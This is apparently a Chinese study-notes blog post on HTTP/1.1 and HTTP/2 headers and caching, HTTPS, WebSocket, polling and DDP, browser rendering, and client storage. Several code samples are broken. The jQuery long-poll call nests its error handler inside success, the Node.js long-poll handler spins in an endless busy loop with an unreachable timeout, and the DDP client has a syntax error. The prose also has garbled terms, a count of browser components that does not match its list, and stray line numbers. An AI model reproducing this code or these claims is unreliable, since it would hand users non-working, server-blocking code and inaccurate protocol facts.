前端协议

本篇博客仅以个人学习记录使用

HTTP协议概述(HTTP协议为应答模式协议)

HTTP协议是WWW服务器和用户请求代理(例如浏览器等)之间通过应答请求模式传输超文本(例如HTML文件、JavaScript文件、CSS文件、图片甚至服务器接口数据等)内容的一种协议,协议的详细规范序号为RFC2616。

浏览器(用户请求代理)向服务器发送请求时头部中包含请求的方法GET、URL、协议版本号、请求头域字段(如请求接收类型Accept)、缓存控制Cache-control、浏览器Cookie和user-agent信息等,同时也可能会带上请求的正文内容。服务器接收请求处理后也是以一段响应报文作为返回,响应的内容包括HTTP消息响应的协议版本1.1/2、返回码304及返回描述Not Modified、缓存控制信息Cache-control以及正文的HTML内容等,当然如果返回码为304时请求响应返回的正文为空,浏览器将从本地缓存中读取文件。浏览器接收到服务器的返回后会进行解析,同时进行相应的操作,例如将服务器返回正文中的HTML内容装载至浏览器进行解析渲染,或是将服务器返回的JSON字符串解析成前端可用的JSON对象等。

通常一个完整的 HTTP报文由头部、空行、正文三部分组成。空行用于区分报文头部和报文正文,由一个回车符和一个行符组成。请求头通常由请求类型、请求URL、协议版本和扩展内容组成;请求头中还包含其他请求头部域信息,如Accept、Cookie、Cache-Control、Host等;请求正文可以携带浏览器端请求的内容,如POST、PUT请求的表单内容。响应返回报文的格式与此类似,响应报文头部由状态码,状态描述、协议版本、扩展内容组成;响应头包含响应头部域信息,如Date、Contont-Type、Cache-Control、Expires等;服务器返回给浏览器的信息可以放在报文正文部分。

HTTP1.1
长连接

HTTP1.1的长连接机制是通过请求头中keep-alive头域信息来控制的。HTTP1.0默认请求的服务器返回是没有keep-alive的,但在HTTP1.0中,如果要建立长连接,也可以在请求消息中包含Connection:keep-alive头域信息,如果服务器能识别这条连接得到的头域信息,则会在响应消息头域中也包含一个Connection:keep-alive返回,表示后面的文化请求可以复用之前得连接传输。但是在HTTP1.1协议中,任何HTTP请求的报文头部域都会默认包含
keep-alive。keep-alive的控制可以让客户端到服务器端之间的连接在一段时间内持续有效,当一个请求文件的传输连接建立以后,在服务器保持该连接的这段时间内,其他文件请求可以复用这个已经建立好的连接,而不用像HTTP1.0那样重新握手建立连接,这样就有效将建立和关闭连接的完网络开销平均到多个文件的请求上。但是需要注意的是,长连接的请求机制并不会节省传输内容的网络开销。

协议扩展切换

协议扩展切换是指,HTTP1.1协议支持在请求头部域消息中包含Upgrade头并让客户端通过头部标识令服务器知道它能够支持其他备用通信协议的一种
机制,服务器根据客户端请求的其他协议进行切换,切换后使用备用协议与客户端进行通信。例如WebSocket协议就是典型的应用,WebSocket协议通信是通过HTTP的方式建立的,通信连接建立完成后通知服务器切换到WebSocket协议来完成后面的数据通信。

WebSocket协议的连接建立过程:浏览器(假设用户使用的浏览器支持WebSocket)向服务器发送请求,并在消息头中添加Connection:Upgrade和Upgrade:websocket告诉服务器后面需要进行协议切换,切换成为WebSocket协议进行通信,如果服务端支持WebSocket服务并允许该客户端来连接,则可以在响应报文头中返回Upgrade和Connection消息头域,同意浏览器使用WebSocket来连接,同时返回的状态码为101表示请求还需要完成协议的切换

缓存控制

在HTTP1.1版本之前,浏览器缓存主要是通过对HTTP1.0的Expires头部控制来实现的,我们知道Expires只能根据绝对时间来刷新缓存内容,HTTP1.1增加了Cache-Control头域,可以支持max-age用来表示相对过期时间,另外请求服务器时也可以根据Etag和Last-Modified来判断是否从浏览器端缓存中加载文件,此时缓存的控制和判断将决定服务器的响应报文中头部内容的状态码是200还是304.下面来描述一下浏览器发送HTTP请求时进行缓存

读取判断的流程:

1.浏览器会先查询Cache-Control(这里用Expires判断也是可以的,但是Expires一般设置的是绝对过期时间,在HTTP1.1之前较为通用,Cache-Control设置的是相对过期时间,HTTP1.1后推荐使用Cache-Control来控制,如果两者都设置了,则只有Cache-Control的设置生效)来判断内容是否过期,如果未过期,则直接读取浏览器端缓存文件,不发送HTTP请求,否则进入下一步。

2.在浏览器端判断上次文件返回头中是否含有Etag信息,有则带上If-None-Match字段信息发送请求给服务器,服务端判断Etag未修改则返回304,如果修改则返回200,否则进入下一步。

3.在浏览器端判断上次文件返回头中是否含有Last-Modified信息,有则带上If-Modified-Since字段信息发送请求,服务端判断Last-Modified失效则返回200,有效则返回304。

4.如果Etag和Last-Modified都不存在,则直接向服务器请求内容。

以上步骤就是Cache-Control、Etag和Last-Modified控制请求缓存的主要过程。

部分内容传输优化

部分内容传输优化是指HTTP可以支持超文本文件的部分传输,例如,他允许请求一个文件的起始位置和一个偏移长度来进行文件内容的部分传输。

另外HTTP1.1请求允许携带一些数据参数信息一起发送到服务器,请求时的数据信息可以放在请求头(例如,GET、DELETE方法请求时)或正文(例如,POST、PUT方法请求时)中。HTTP请求在消息的正文中除了可以携带文本内容,也可以传输二进制数据,例如表单中使用formData提交上传文件时携带的就是二进制数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
HTTP报文的头部域信息内容其实有很多,每个头部域字段的控制都具有自己的逻辑和判断机制,以下是常见的一些头部域字段的设置。

1. Accept:告诉Web服务器自己能接收什么媒体类型
*/*表示能接收任何类型,type/*表示接收该类型下的所有子类型,一般格式为type/sub-type,多个类型使用q参数分割,
q的值代表quality请求质量,反映了用户对这类媒体类型的偏好程度,例如Acccept:text/plain; q=0.5,text/html,text/x-dvi;q=0.8,text/x-c

2.Accept-Charset:浏览器接收内容的字符集,通常是utf-8

3.Accept-Encoding:浏览器接收内容的编码方法,例如指定是否支持压缩,若支持压缩的话支持什么压缩方法,具体如Accept-Encoding:gzip,deflate,sdch

4.Accept-Language: 浏览器接收内容的语言。语言跟字符集是有区别的,例如中文是语言,中文有多种字符集,big5、关闭312、gbk等。该参数也可以设置多个,如Accept-Language:zh-CN,zh;q=0.8.

5.Accept-Ranges: Web服务器表明自己是否接受获取某个实体的一部分(比如文件的一部分)请求,这里主要用于部分文件传输,实际上我们用的比较少。bytes表示接受传输多大长度内容,none表示不接受。

6.Age;一般当服务器用自己缓存的实体去响应请求时,可以用该头部表明实体从产生到现在经过了多长时间,如Age:3600.、

7.Allow:该参数头部可以设置服务端支持接收哪些可用的HTTP请求方法,例如GET、POST、PUT,如果不支持,则会返回405(Method Not Allowed)

8.Authorization: 当客户端接收到来自Web服务器的WWW-Authenticate响应时,后面可以用该头部来携带自己的身份验证信息给Web服务器直接进行认证

9.Cache-Control:用来声明服务器端缓存控制的指令。包括请求设置指令和响应请求指令。

请求控制指令如下:

no-cache: 不使用缓存实体,要求从Web服务器去请求内容。

max-age:只接受Age值小于max-age值的内容,即没有过期的请求对象。

max-stale:可以接受过去的对象,但是过期时间必须小于max-stale值。

响应控制指令如下:

public:可以用Cache中内容回应任何用户。

private:只能用缓存内容回应先前请求该内容的具体用户。

no-cache:可以设置哪些内容不被缓存。

max-age:设置响应中包含对象的过期时间

ALL:no-store不允许缓存。

10.Connection:在请求头中,close告诉Web服务器或者代理服务器,在完成本次请求响应后断开连接,无需等待本次连接的后续请求,
keep-alive告诉Web服务器或者代理服务器,在完成本次请求响应后保持连接,等待本次连接的后续请求。
在响应头中,close连接已关闭。keep-alive保持连接,等待本次连接得到后续请求,如果浏览器请求保持连接,则该头部表明希望Web服务器保持连接的时长(秒),
例如,keep-alive:300.

11.Content-Encoding: 与请求头的Accept-Encoding对应,指Web服务器表明使用何种压缩方法(gzip,deflate)压缩响应中的对象。
例如,Content-Encoding:gzip。

12.Content-Language:与请求头中的Accept-Language对应,Web服务器告诉浏览器响应的媒体对象语言。

13.Content-Length:Web服务器告诉浏览器HTTP请求内容的长度。例如:Content-Length:1024.

14.Content-Range:Web服务器表明该响应包含的部分对象为整个对象的哪个部分。

15.Content-Type:与请求头的Accept对应,指明Web服务器告诉浏览器响应的对象的类型。例如,Content-Type:application/xml。

16.Etag:对象(比如URL)的标志值。一个对象(如HTML文件)如果被修改了,其Etag也会被修改,所以Etag的作用和Last-Modified差不多,主要供Web服务器判断一个对象是否改变。例如前一次请求某个HTML文件时获得了某Etag,当这次又请求该文件时,浏览器就会把先前获得的Etag值发送给Web服务器,然后Web服务器会将这个Etag值跟该文件当前的Etag值进行对比,判断文件是否改变。

17.Expires:Web服务器表明该实体将在什么时候过期,对于过期的对象,只有在跟Web服务器验证了其有效性后,才能用来响应客户请求,是HTTP/1.0的头部。例如,Expires:Sat,23May 2009 10:02:12 GMT。

18.Host:客户端指定自己访问的Web服务器的域名/IP地址和端口号。例如,Host: www.xxx.com

19.If-None-Match: 如果上次文件返回头中包含Etag信息,则会带上If-None-Match发送请求给服务器,判断请求返回304还是200.
例如,If-None-Match: W/"34b1f344ascc:d23"

20.If-Modified-Since: 如果上次文件返回头中包含了Last-Modified信息,则会带上If-Modified-Since发送请求给服务器,
判断请求是返回304还是200.例如:If-Modified-Since:Thu,10Apr21609:12:23 GMT"

21.If-Range: 浏览器告诉Web服务器,如果请求的对象没有改变,就把修改的部分返回给浏览器,如果对象改变了,就把整个对象返回给浏览器。
浏览器通过发送请求对象的Etag或者自己所知道的最后修改时间给Web服务器,让其判断对象是否改变。If-Range常常跟Range头部一起使用

22.Last-Modified:Web服务器设置的对象最后修改时间,比如文件的最后修改时间或者动态页面的最后产生时间。
例如:Last-Modified:Tue,06 Sep 2019 02:34:23 GMT

23.Location:Web服务器告诉浏览器,试图访问的对象已经被移到别的位置了,让浏览重定向去读取Location里面返回的内容。

24.Pramga:主要使用Pramga:no-cache,相当于Cache-Control:no-cache。例如,Pramga: no-cache.

25.Proxy-Authenticate: 代理服务器响应浏览器,要求其提供代理身份验证信息。
Proxy-Authorization:浏览器响应代理服务器的身份验证请求,提供自己的身份信息。

26.Range:浏览器告诉Web服务器自己想读取对象的哪部分。

27.Referer:浏览器像Web服务器表明自己是从哪个网页URL跳转访问当前请求中网址URL的,即跳转到当前页面的来源。
例如:Referer:http://wwww.xxxx.com

28.User-Agent: 浏览器的代理名称,位于请求头部,通常服务端可以根据这个设置获取到浏览器的种类和版本信息。
例如:Mozilla/5.0 Chrome/75.0

29.Server: Web服务器通过此头域表明自己是什么软件及版本信息。例如,Server:Apache/2.2.18(Unix)

30. Transfer-Encoding:Web服务器表明自己对应响应传输消息体做怎样的编码,如是否分块(chunked),Transfer-Encoding:chunked
HTTP2
对比HTTP1.x的优点

HTTP2完全采用二进制的格式来传输数据,而非HTTP1.x的默认文本格式。而二进制在网络中传输的基本单位一般为帧(Frame,一个帧可以理解为具有固定格式和长度的二进制数据包),每个镇包含几个固定部分内容;类型Type、长度Length、标记Flags、流标识Stream和Frame payload(帧有效载荷,一帧能携带的内容数据长度)。多个帧的传输在网络中就形成了帧的传输网络流,所以我们也可以理解为HTTP2协议是通过流式传输的,最大限度地节省了传输带宽。相比于HTTP1.x每次请求都会携带大量冗余头信息(例如浏览器cookie信息等),HTTP2就具有很大的优势了

HTTP2使用TCP多路复用的方式来降低网络请求连接建立和关闭的开销,多个请求可以通过一个TCP连接来完成。HTTP1.1虽然可以通过PipeLine实现并发请求,但是PipeLine是通过串行传输的,多个请求之间的响应可能会被阻塞。

1
2
3
这里明确的说一下TCP连接复用和HTTP1.1中keep-alive连接复用的区别;TCP复用传输是发生在传输层的,而keep-alive控制的文件的连接复用是在应用层的

keep-alive的连接复用是串行的,即一个文件传输完成后,下一个文件才能复用这个连接,而TCP连接复用是帧的多路复用,即不同文件的传输帧可以在一个TCP连接中一起同时进行流式传输。

HTTP2支持传输流的优先级和流量控制机制。HTTP2中每个文件传输流都有自己的传输优先级,并可以通过服务器来动态改变,服务器会保证优先级高的文件流先传输。例如在浏览器渲染中,服务器端就可以优先传输CSS文件来保证页面的渲染,然后在CSS文件全部传输完成后加载js脚本文件。其实这就和我们现在前端的一些优化规则有点相背离,例如使用HTTP2的情况下CSS文件就不一定要写在HTML的顶部,js也不一定要在HTML最底部写了,因为HTTP2的服务器自动就能帮你做好这件事了。

支持服务端推送。服务端能够在特定条件下把资源主动推送给客户端。就像浏览器端的资源预加载一样,例如资源推送可以在HTML文档下载之前让HTML的jshuoCSS文件预先进行下载,从而大大缩短页面加载渲染的等待时间。

所以基于这些HTTP2的优势特性,有人说,以往网站的一些优化规则将不再适用,其实两者也不完全是矛盾的。一方面,适用HTTP2会极大程度上提高网络的传输效率,让我们可以更少的关注页面的性能优化,是对现在开发优化手段的一个增强。另一个方面,现有的优化规则依然能对前端资源的加载和执行起到进一步优化的作用。

HTTPS协议通信过程

HTTPS协议是通过加入SSL(Secure Sockets Layer)层来加密HTTP数据进行安全传输额HTTP协议,同时启用默认的443端口进行数据传输。

HTTPS协议相比较于HTTP协议的请求报文区别不大,HTTPS在请求的头部域字段多了upgrade-insecure-requests,该头部字段指令很关键,他可以用于让页面打开的后续请求自动从HTTP请求升级到HTTPS请求。否则如果使用HTTPS来加载HTML文件,而HTML中加载的是HTTP链接的资源文件,则会产生Mixed Content 类型的错误,并且无法加载资源。所以添加了这个字段,作用就是让浏览器自动升级后面的请求为https请求,同时我们在服务器端响应头域中也要加入header("Content-Security-Policy:upgrade-insecure-requests")来返回给浏览器,否则浏览器默认安全类型策略会阻塞内容并提示block-all-mixed-content类型的错误。

前端实时协议

在实际的前端应用项目中,除了使用应答模式的HTTP协议进行普通网络资源文件的请求加载外,有时也需要建立浏览器客户端与服务端之间的实时连接进行通信,例如网页实时聊天得到应用场景,这就必须涉及到浏览器端的实时通信协议了。对于那些对实时性要求较高的应用场景,普通的HTTP(S)协议就并不适用。虽然前端可以通过Ajax定时间服务端轮询的方式来持续获取服务端的信息,但是这种方式效率相对较低,目前一般只用来处理浏览器上降级体验的实时场景。包括Ajax的方式在内,目前可用来在前端浏览器上进行实时通信的功能实现方式主要有WebSocket、Poll、Long-poll和DDP协议。

WebSocket通信机制

HTTP1.1的协议就已经支持使用Upgrade头域设置进行协议扩展切换,这样就可以实现从HTTP1.1协议切换到其他通信协议进行通信了。一种很典型的实时通信协议便是WebSocket,WebSocket是浏览器端和服务器端建立实时连接的一种通信协议,可以在服务器和浏览器端建立类似Socket方式的消息通信。

相对于HTTP1.1协议,WebSocket协议的优势是方便服务器和浏览器之间的双向数据实时通信。但我们要明白的是,HTTP2也支持服务端的消息推送,也是可以来适应这一场景的。

Poll(轮询)和 Long-poll(长轮询)

尽管HTML5的WebSocket为我们提供了实现前端实时化的方案,提供的API也很完备。但不幸的是,并非所有浏览器都支持WebSocket协议,在桌面或移动端浏览器应用开发时我们仍不能放心的使用它,这时我们就必须回到校友额HTTP协议上考虑采用Poll(轮询)和Long-Poll(长轮询)的方案来应对实时通信的场景了。

Poll

Poll方案很容易理解,即浏览器采用定时向服务器发送请求轮询的方法不断发送或拉取信息。浏览器每隔一秒向服务器发送一次请求,在一秒内服务器更新的内容在下一次轮询中将被浏览器拉取返回。所以这种方案相对来说实时性较差,而且没有新消息时依然需要不断轮询,比较消耗系统资源。

Long-Poll

HTTP请求可以设置一个较长的Timeout等待时间,这样网络轮询请求就可以维持一段较长的时间后返回结果,这也就是Long-Poll(长轮询)的基本思路。服务器只要在这段长轮询时间内进行响应,请求便会立即返回结果;如果这段时间服务器没有返回,浏览器端将自动响应超时并重新发起一个长轮询请求。相比于Poll,Long-Poll的实现更加节省系统资源,实时性更好,不用持续地定时发送网络请求。Long-poll目前一个很典型的应用场景就是网站通过对应的移动客户端进行扫描二维码登录,即用户使用移动客户端扫描二维码登录网站,成功后桌面浏览器页面自动响应跳转进入一个新的登录后页面。用户打开桌面浏览器页面后会立即发送一个用户登录状态查询的长轮询请求,同时开始使用移动客户端扫描二维码,扫描成功时移动客户端会调用接口改变用户的登陆状态,此时服务器可以不断轮询获取用户登录状态改变通知,一旦检测到用户使用移动客户端扫码登录,就将用户登录状态返回给浏览器的长轮询请求,用户浏览器请求到用户登录状态后完成后面的跳转,前端请求登录状态的轮询就可以使用AJAX来模拟实现。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
function _getQrAuth() {
const self = this;

//请求查询登录状态
$.ajax({
url: '/api/v1/user/qrcode/auth',
type: 'get',
dataType: 'json',
cache: false,
tiemout: 30 * 1000, //设置30秒超时时间
success: function(data) {
//登录成功后自动跳转
if(data.retcode === 200) {
window.location.href = 'user_info.html?backUrl = ' + encodeURIComponent(backUrl);
}
error: function(e) {
console.log(JSON.stringify(e))
}
}
});

}

在nodejs服务器对应的处理 程序可以用如下方法来实现登陆状态的循环轮询。

const qrcodeAuth = function*(req,res) {
let ctx = this;

let authState = false;
while(true) {
//查询用户登录状态,已登录则 返回用户信息,否则返回false

authState = queryAuthState(ctx);
if(authState) {
ctx.body = {
retcode: 200
}
return ;
}
}
ctx.body = {
retcode: 500,
msg: 'tiem out'
}
};

1
Web应用中客户端和服务端建立实时通信的方式比较多,包括HTML5提供的WebSocket、Flash实现的WebSocket、XMLHttpRequest轮序长连接、XMLRequest Multipart Streaming、script标签的长时间轮询等。当然也还有一些不常用的方式,就不必多说了
前端DDP协议

DDP是一种新型的客户端与服务端的实时通信协议,由于兼容性的原因,目前使用还不广泛。DDP使用JSON的数据格式在客户端和浏览器之间进行数据传输通信,所以对于前端开发者来说使用非常方便。有名的Meteor Web框架的双向实时数据更新机制底层使用的就是DDP,这种协议模式下客户端可向服务端发起远程过程调用,客户端也可以订阅服务端数据,在服务端数据变化时,服务端会向客户端发起通知,触发浏览器响应的操作。当然我们借助DDP模块也可以创建一个简单的DDP协议的服务。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// 引入DDP模块,创建客户端连接器
const DDPClient = require('ddp');
const client = new DDPClient({
host: 'localhost',
port: 3000
});

// 监听信息
client.on('message'. function(data, flags) {
console.log('[DDP 消息]:', data);
});

// 连接
client.connect(function(){
//客户端订阅 post
client.subscribe('post', [], function(){
console.log('[post 订阅消息]')
})
});

以Meteor为例,在Web浏览器端使用DDP协议仍然存在部分兼容性问题,所以目前DDP仍没有被广泛使用在实际项目中,但我们可以认为它是面向未来的一种前端实时协议,以后极有可能被广泛使用。
RESTful数据协议规范

REST并不是某一种具体的协议,而是定义了一种网络应用软件之间的架构关系并提出了一套与之对应得到网络之间交互调用的规则。与之类似的例如早期的WebSevice,当然WebSevice现在基本都不用了。而在REST形式的软件应用服务(这里讨论的主要是Web应用服务)中,每个资源都有一个与之对应的URI地址,资源本身都是方法调用的目标,方法列表对所有资源都是一样的,而且这些方法都推荐使用HTTP协议的标准方法,例如GET、POST、PUT、DELETE等。如果一个网络应用软件的设计是按照REST定义的,我们就可以认为它使用的交互调用的方法遵循RESTful规范。

浏览器组成结构

本篇博客仅以个人学习记录使用

回顾

在介绍浏览器组成结构之前,我们先来回顾一个老生常谈的问题:
从我们打开浏览器输入一个网址到页面展示内容的这段时间内,浏览器和服务端发生了什么事情?

1.在接收到用户输入的网址后,浏览器会开启一个线程来处理这个请求,对用户输入的URL地址进行分析判断
如果是HTTP协议就按照HTTP方式来处理。

2.调用浏览器引擎中的对应方法,比如WebView中的loadUrl方法,分析并加载这个URL地址。

3.通过DNS解析获取该网站地址对应的IP地址,查询完成后连同浏览器的Cookie、userAgent等信息向网站目标IP发出GET请求。

4.进行HTTP协议会话,浏览器客户端向Web服务器发送报文。

5.进入网站后台上的Web服务器处理请求,如Apache、Tomcat、Node.js等服务器。

6.进入部署好的后端应用程序,找到对应的请求处理逻辑,这期间可能会读取服务器缓存或查询数据库等。

7.服务器处理请求并返回响应报文,此时如果浏览器访问过该页面,缓存上有对应资源,会与服务器最后修改记录对比,
一致则返回304,否则返回200和对应的内容。

8.如果返回的状态码是200,浏览器开始下载HTML文档,如果是304则从本地缓存读取文件内容。

9.浏览器根据下载接收到的HTML文件解析结构建立DOM文档树,并根据HTML中的标记请求下载指定的MIME类型文件(如CSS,JS脚本等),同时设置缓存等内容。

10.页面开始解析渲染DOM,CSS根据规则解析并结合DOM文档树进行网页内容布局和绘制渲染,Javascript根据DOM API操作DOM,
并读取浏览器缓存,执行事件绑定等,页面整个展示过程完成。

整个过程中使用到了较多的浏览器功能,如用户地址栏输入框、网络请求、浏览器文档解析、渲染引擎、Javascript执行引擎、客户端存储等。
下面,我们具体来看一下浏览器的主要结构:

浏览器主要结构

通常我们认为浏览器主要由七个部分组成:用户界面、网络、JavaScript解释器和持久化数据存储。
用户界面包括浏览器中可见的地址输入框、浏览器前进返回按钮、打开书签、打开历史记录等用户可操作的功能选项。
浏览器引擎可以在用户界面和渲染引擎之间传送指令或在客户端本地缓存中读写数据等,浏览器引擎是浏览器中各个部分之间相互通信的核心。
浏览器渲染引擎的功能是解析DOM文档和CSS规则并将内容排版到浏览器中显示,也有人撑之为排版引擎,我们常说的浏览器内核主要指的就是渲染引擎。
网络功能模块则是浏览器开启网络线程发送请求或下载资源文件的模块,例如DOM树解析过程中请求及静态资源首先是通过浏览器中的网络模块发起的,
UI后端则用于绘制基本的浏览器窗口内控件,比如组合选择框、按钮、输入框等。Javascript解释器则是浏览器解释和执行Javascript脚本的部分,
例如V8引擎。浏览器数据持久化存储则涉及cookie、localStorage等一些客户端存储技术,可以通过浏览器引擎提供的API进行调用。

浏览器渲染引擎简介

渲染引擎的主要工作原理

渲染引擎在浏览器中主要用于解析HTML文档和CSS文档,然后将CSS规则应用到HTML标签元素上,并将HTML渲染到浏览器窗口中以显示具体的DOM内容。

浏览器通过网络模块下载HTML文件后进行页面解析渲染,流程主要包括,解析HTML构建DOM树、构建渲染树、渲染树布局、绘制渲染树。

机械HTML构建DOM树时渲染引擎会先将HTML元素标签解析成由多个DOM元素对象节点组成的且具有节点父子关系的DOM树结构,然后根据DOM树结构的每个
节点顺序提取计算使用的CSS规则并重新计算DOM树结构的样式数据,生成一个带样式描述的DOM渲染树对象。DOM渲染树生成结束后,进入渲染树的布局
阶段,即根据每个渲染树节点在页面中的大小和位置,将节点固定到页面的对应位置上,这个阶段主要是元素的布局属性(如position、float、margin
等属性)生效,即在浏览器中绘制页面上元素节点的位置。接下来就是绘制阶段,HTMLElement将渲染树节点的背景、颜色、文本等样式信息应用到每个节点上,
这个阶段主要是元素的内部显示样式(例如color、background、text-shadow等属性)生效、最终完成整个DOM在页面上的绘制显示。

1
2
3
4
这里我们要注意的是渲染树的布局阶段和绘制阶段。
页面生成后,如果页面元素位置发生变化,就要从布局阶段开始重新渲染,也就是页面重排,所以页面重排一定会进行后续重绘
如果页面元素只是显示样式改变而布局不变,那么页面内容改变将从绘制阶段开始,也称为页面重绘。
重排通常会导致页面元素的几何大小位置发生变化且伴随着重新渲染的巨大代价,因此我们要尽可能避免页面的重排,并减少页面的重绘。

渲染引擎对DOM渲染树的解析和输出是逐行进行的,所以渲染树前面的内容可以先渲染展示,这样就保证了较好的用户体验。另外也尽量不要在HTML显示
内容中插入script脚本等标签,script标签内容的解释执行常常会阻塞页面结构的渲染。

通常情况下,不同浏览器内核的解析渲染过程也略有不同,我们以Chrome,Safari浏览器的webkit内核和Firefox浏览器的Gecko内核为例,
来看看渲染引擎工作流程的这四个步骤具体是怎样完成的。

Webkit内核和Gecko内核

这两种渲染引擎工作流程的主要区别在于解析HTML或CSS文档生成渲染树的过程;Webkit内核中的HTML和CSS解析可以认为是并行的;而
Gecko则是先解析HTML,生成内容Sink(Conent Sink可以认为是构建DOM结构树的工厂方法)后再开始解析CSS。这两种渲染引擎工作过程中
使用的描述术语也不一样;Webkit内核解析后的渲染对象被称为渲染树(Render Tree),而Gecko内核解析后的渲染树对象则称为Frame树
(Frame Tree)。但是他们主要的流程是相似的,都经过HTML DOM解析、CSS样式解析、渲染树生成和渲染树绘制显示阶段。一般渲染引擎的解析过程
中都包含了HTML解析和CSS解析阶段,这也是渲染引擎解析流程中最重要的两个部分,接下来就看看HTML文档解析和CSS规则解析具体是怎样进行的。

HTML文档解析

HTML文档解析过程是将HTML文本字符串逐行解析生成具有父子关系的DOM节点树对象的过程,通过解析HTML文档就生成了由多个不同DOM元素对象组成的
DOM树。渲染引擎在HTML解析阶段会对HTML文本的标签进行分析,同时创建DOM对象,最终生成DOM对象树。需要注意的是,
<header>、<nav>、<section>、<footer>这些布局类标签的DOM类型均为HTMLElement,此外HTML中不同标签的每个元素对应的原始类型也可以是不一样
的。

1
2
3
4
5
6
7
8
9
10
11
12
13
根元素:
<html> (HTMLHtmlElement)

文件数据元素:
<head> (HTMLHeadElement)
<title> (HTMLTitleElement)
<base> (HTMLBaseElement)
<link> (HTMLLinkElement)
<style> (HTMLStyleElement)
<script> (HTMLScriptElement)
<noscript> (HTMLElement)
...

渲染引擎通过解析HTML文本形成了对象化的DOM树,但要将DOM树渲染到浏览器窗口中形成有样式的内容,仍需要结合CSS规则生成一个带有节点CSS样式
描述的DOM树。

1
2
DOM元素标签和DOM元素对象虽然都是用来描述DOM结构的,
但是DOM元素标签是指文本化的HTML标识,而DOM元素对象则是指经过渲染引擎DOM解析后生成的具有节点父子关系的树形对象
CSS解析

CSS解析和HTML解析类似,首先也要通过词法解析生成CSS分析树,而且也使用特定的CSS文本语法来实现,不同的是,HTML是使用类似XML
结构的语法解析方式来完成分析的。

通过分析CSS文档,会生成CSS规则树,CSSRule会保持每个不同元素和对应样式的映射关系。在渲染树逐行生成的阶段,DOM树中的节点会在CSS分析树
中根据元素、类、id选择器来提取与之对应元素的CSS规则,进行CSS规则的层叠和权重计算,得到最终生效的样式CSSRule并添加到DOM渲染树上,
也就是说当每个DOM节点提取CSS样式完成时,用于页面布局和绘制的DOM渲染树便形成了。

浏览器数据持久化存储技术

浏览器缓存是浏览器端用于在本地保存数据并进行快速读取以避免重复资源请求的传输机制的统称。有效的缓存可以避免重复的网络资源请求
并让浏览器快速的响应用户操作,提高页面内容的加载速度。浏览器端缓存的实现机制种类较多,一般可以分为九种:

HTTP文件缓存、LocalStorage、SessionStorage、indexDB、Web SQL、Cookie、CacheStorage、Application Cache、以及Flash缓存

HTTP文件缓存

HTTP文件缓存是基于HTTP协议的浏览器端文件级缓存机制。在文件重复请求的情况下,浏览器可以根据HTTP响应的协议头信息判断是从服务器端请求
文件还是从本地读取文件,Chrome控制台下的Frames就可以查看浏览器的HTTP文件资源缓存列表内容。

HTTP文件缓存判断机制流程:

1.浏览器会先查询Cache-Control(这里用Expires判断也是可以的,但是Expires一般设置的是绝对过期时间,Cache-Control设置的是相对过期时间)
来判断内容是否过期,如果未过期,则直接读取浏览器端缓存文件,不发送HTTP请求,否则进入下一步。

2.在浏览器端判断上次文件返回头中是否含有Etag信息,有则连同If-None-Match一起向服务器发送请求,服务端判断Etag未修改则
返回状态304,修改则返回200,否则进入下一步。

3.如果在步骤2中没有Etag信息,则在浏览器端判断上次文件返回头中是否含有Last-Modified信息,有则连同If-Modified-Since一起向服务器发送
请求,服务器端判断Last-Modified是否生效,失效则返回200,未失效则返回304.

4.如果Etag和Last-Modified都不存在,直接向服务器请求内容。

HTTP缓存可以在文件缓存生效的情况下让浏览器从本地读取文件,不仅加快了页面资源加载,同时节省网络流量,所以在Web站点配置中要尽可能利用缓
存来优化请求过程。在HTML中,我们可以添加<meta>中的Expires或Cache-Control来设置,需要注意的是,一般这里Cache-Control设置max-age
的时间单位是秒,如果同时设置了Expires和Cache-Control,则只有Cache-Control的设置生效。

1
2
<meta http-equiv="Expires" content="Mon, 20 Jul 2019 23:00:00 GMT" />
<meta http-equiv="Cache-control" content="max-age=7200" />

当然服务器端也需要进行对应设置,Node.js服务器可以使用中间件来这样设置静态资源文件的缓存时间,例如我们可以结合Koa Web框架和Koa-static
中间件如下设置实现。

1
2
3
4
5
const static = require('koa-static');
const app = koa();
app.use(static('./pages',{
maxage: 7200
}));
localStorage

localStorage是HTML5的一种本地缓存方案,目前主要用于浏览器端保存体积较大的数据(如AJAX返回结果等),需要了解的是,localStorage
在不同浏览器中有长度限制且各不相同。值得注意的是,这里的大小限制指的是单个域名下localStorage的大小,所以localStorage中不适合
存放过多的数据,如果数据存放超过最大限制可能会读取报错,因此在使用之后最好移除不再使用的数据。此外localStorage只支持简单数据类型的读取
,为了方便localStorage读取对象等格式的内容,通常需要进行一层安全封装再引入使用。

1
2
尽管单个域名下localStorage的大小是有限制的,但是可以用iframe的方式使用多个域名来突破单个页面下localStorage存储数据的最大限制。
另外使用浏览器多个标签页打开同个域名页面时,localStorage内容一般是共享的。
sessionStorage

sessionStorage和localStorage的功能类似,但是sessionStorage在浏览器关闭时会自动清空。sessionStorage的Api和localStorage完全相同。
由于不能进行客户端的持久化数据存储,实际项目中sessionStorage的使用场景相对较少

cookie指网站为了辨别用户身份或Session跟踪而储存在用户浏览器端的数据。Cookie信息一般会通过HTTP请求发送到服务器端。一条cookie记录
主要由键、值、域、过期时间和大小组成,一般用于保存用户的网站认证信息。浏览器中cookie的最大长度和单个域名支持的cookie个数由
浏览器的不同来决定。和localStorage类似,不同域名之间的cookie信息也是独立的,如果需要设置共享,则可以在被共享域名的服务器端设置
cookie的path和domain来实现,例如koa下:

1
2
3
4
this.cookies.set('username','ouven', {
domain: '.domain.com',
path: '/'
})

浏览器端也可以通过document.cookie来获取cookie,并通过js去处理解析。但是需要注意的是,cookie分为两种;Session Cookie和
持久型Cookie。Session Cookie一般不设置过期时间,表示该cookie的声明周期为浏览器会话期间,只要关闭浏览器窗口,cookie就会消失,
而且Session Cookie一般不保存在硬盘上而是保存在内存里,持久型cookie一般会设置过期时间,而且浏览器会将持久型cookie的信息保存到硬盘上,
